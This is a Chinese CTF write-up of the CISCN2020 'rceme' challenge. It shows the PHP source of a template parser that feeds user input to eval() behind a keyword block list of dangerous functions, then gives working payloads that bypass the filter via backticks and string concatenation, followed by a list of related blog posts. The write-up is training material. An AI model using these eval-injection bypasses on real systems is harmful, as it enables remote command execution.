题目源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {$s=htmlspecialchars($s);$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');$s = str_ireplace($key,"*",$s);$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');foreach ($danger as $val){if(strpos($s,$val) !==false){die('很抱歉,执行出错,发现危险字符【'.$val.'】');}}if(preg_match("/^[a-z]$/i")){die('很抱歉,执行出错,发现危险字符');}return $s;
}
function parserIfLabel( $content ) {$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';if ( preg_match_all( $pattern, $content, $matches ) ) {$count = count( $matches[ 0 ] );for ( $i = 0; $i < $count; $i++ ) {$flag = '';$out_html = '';$ifstr = $matches[ 1 ][ $i ];$ifstr=danger_key($ifstr,1);if(strpos($ifstr,'=') !== false){$arr= splits($ifstr,'=');if($arr[0]=='' || $arr[1]==''){die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');}$ifstr = str_replace( '=', '==', $ifstr );}$ifstr = str_replace( '<>', '!=', $ifstr );$ifstr = str_replace( 'or', '||', $ifstr );$ifstr = str_replace( 'and', '&&', $ifstr );$ifstr = str_replace( 'mod', '%', $ifstr );$ifstr = str_replace( 'not', '!', $ifstr );if ( preg_match( '/\{|}/', $ifstr)) {die('很抱歉,模板中有错误的判断,请修正'.$ifstr);}else{@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );}if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {switch ( $flag ) {case 'if':if ( isset( $matches2[ 1 ] ) ) {$out_html .= $matches2[ 1 ];}break;case 'else':if ( isset( $matches2[ 2 ] ) ) {$out_html .= $matches2[ 2 ];}break;}} elseif ( $flag == 'if' ) {$out_html .= $matches[ 2 ][ $i ];}$pattern2 = '/\{if([0-9]):/';if ( preg_match( $pattern2, $out_html, $matches3 ) ) {$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );$out_html = $this->parserIfLabel( $out_html );}$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );}}return $content;
}
function splits( $s, $str=',' ) {if ( empty( $s ) ) return array( '' );if ( strpos( $s, $str ) !== false ) {return explode( $str, $s );} else {return array( $s );}
}
 $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';if ( preg_match_all( $pattern, $content, $matches ) ) {$count = count( $matches[ 0 ] );for ( $i = 0; $i < $count; $i++ ) {$flag = '';$out_html = '';$ifstr = $matches[ 1 ][ $i ];

首先对函数通过GET方式传参,并进入函数体,传入参数之后对参数进行正则匹配,匹配成功后进入进入代码段,首先计算$matches[0]的单元数目,接着对$ifstr进行赋值。

在preg_match_all函数的$matches主要是用来存储匹配结果的数组,而默认情况下, $matches[0] 为全部模式匹配的数组,$matches[1] 为第一个括号中的子模式所匹配的字符串组成的数组,本地做下调试:


通过本地调试也可以知道$ifstr得到的是第一个子组的值,在这里即为([\s\S]+?)第一个匹配到的内容。

接着将$ifstr传入danger_key()函数中对关键字进行二次过滤。

function danger_key($s) {$s=htmlspecialchars($s);$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');$s = str_ireplace($key,"*",$s);$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');foreach ($danger as $val){if(strpos($s,$val) !==false){die('很抱歉,执行出错,发现危险字符【'.$val.'】');}}if(preg_match("/^[a-z]$/i")){die('很抱歉,执行出错,发现危险字符');}return $s;
}

然后继续对$ifstr再次对一系列关键字进行处理

if(strpos($ifstr,'=') !== false){$arr= splits($ifstr,'=');if($arr[0]=='' || $arr[1]==''){die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');}$ifstr = str_replace( '=', '==', $ifstr );}$ifstr = str_replace( '<>', '!=', $ifstr );$ifstr = str_replace( 'or', '||', $ifstr );$ifstr = str_replace( 'and', '&&', $ifstr );$ifstr = str_replace( 'mod', '%', $ifstr );$ifstr = str_replace( 'not', '!', $ifstr );if ( preg_match( '/\{|}/', $ifstr)) {die('很抱歉,模板中有错误的判断,请修正'.$ifstr);}else{@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );}

上述条件执行完毕之后,如果$ifstr中没有’{‘和’}'字符,就会将$ifstr插入到eval()中,执行相应代码。
接着要做的就是进行绕过过滤,将$ifstr插入到eval函数中,从而达到命令执行。

上面关键字瞟了一眼,很多可以在eval中命令执行的函数都被过滤了,比如:system()、passthru()、exec()、shell_exec()等。但是没发现过滤了`反引号,反引号在php中也是可以命令执行的。
构造pyloay如下:

?a={if:(var_dump(`ls`))} {end if}


当然网上也有很多关键字的绕过方法,比如:
使用字符串拼接:
payload:

?a={if:(sy.st.em)('ls')} {end if}

[CISCN2020]-rceme相关推荐

  1. CISCN2020初赛_Web

    easytrick <?php class trick{public $trick1;public $trick2;public function __destruct(){$this-> ...

  2. [CISCN]2020

    [CISCN2020]-easyphp <?php//题目环境:php:7.4.8-apache$pid = pcntl_fork();if ($pid == -1) {die('could n ...

  3. [NSSCTF][SCTF 2021]WEB复现

    感谢NSSCTF提供复现环境 loginme middleware.go package middlewareimport ("github.com/gin-gonic/gin" ...

  4. 第十三届全国大学生信息安全竞赛(线上初赛)

    第十三届全国大学生信息安全竞赛(线上初赛) 干啥啥不行,混子第一名,全靠躺,,,,,队友带飞! WEB easyphp 打开题目拿到源码: 根据题目的描述,让进程异常退出,进入到phpinfo中 pa ...

  5. [CTF]SCTF2021 WEB复现(详细版)

    前言 认真复现还是收获挺多的,做这些就算看wp也会卡很久的题目才容易提高.最后感谢下NSSCTF平台提供的靶机,虽然flag只有一半 Loginme 下载附件得到源码,题目让我们本地访问,也就是要伪造 ...

  6. 绕过disable_functions

    文章目录 前言 黑名单绕过 利用 LD_PRELOAD 环境变量 LD_PRELOAD 简介 利用条件 劫持 getuid() 劫持启动进程 演示过程 利用ShellShock(CVE-2014-62 ...

  7. 【八芒星计划】 House of Orange

    文章目录 前言 CISCN2020 nofree 总结 前言 House of Orange是一种用来应对heap题中没有free的情况的方法,通过把top chunk的size改小,然后申请一个大于 ...

  8. 【八芒星计划】 劫持_IO_2_1_stdout_泄露libc

    这一篇讲劫持_IO_2_1_stdout_泄露libc,应用在没有show的heap题里,首先申明,所有的都需要爆破,并且2.27由于tcache的存在使得2.27的劫持_IO_2_1_stdout_ ...

最新文章

  1. PHP并发IO编程之路
  2. MySql 错误 Err [Imp] 1153 - Got a packet bigger than 'max_allowed_packet' bytes
  3. 仿58 php框架源码,转转最新源码
  4. redis cluster管理工具redis-trib.rb详解
  5. vivado中如何读取十进制小数_二进制十进制间小数怎么转换,原来是这样的
  6. 计算机接口及应用技术,计算机接口技术及应用 第9讲 控制网络技术(2 现场总线).pdf...
  7. Ansible之playbook的使用总结 - 运维笔记
  8. STM32HAL库IIC驱动SH1108芯片OLED屏
  9. Scrapy 中文手册 0.25 文档
  10. 公钥基础设施PKI体系介绍
  11. 用python写问答机器人_机器人之Python入门到实践-问答机器人
  12. 在Linux下使用金山词霸2003(转)
  13. 解决 手机能连接上wifi而电脑却却不能连接上wifi的情况
  14. 2011-07-13 wince上面plg插件生成
  15. 活动预告 | 伍鸣博士受邀参加深链财经“2020非共识大会”
  16. 2022新版QQ微信域名防红PHP源码+强制跳转打开
  17. 手机闪存速度测试工具,AndroBench
  18. SAP中会计凭证数据表关系的简单验证
  19. 清华计算机912考研真题解析
  20. 民谣与2017年终总结

热门文章

  1. 如何使用Python识别图片中的二维码
  2. 电脑版微信同时登录多个微信账号
  3. 红帽系列(red hat)ip配置
  4. Python 下划线变量定义
  5. CAD标注样式怎么设置
  6. 小猪佩奇代码话,我是社会程序员,分享一篇python画小猪佩奇代码!
  7. 如何在 Python 中使用断点调试
  8. python 多线程断点调试
  9. 记录罗技键盘从win切换mac的经历
  10. MAC机器上启动、停止Nginx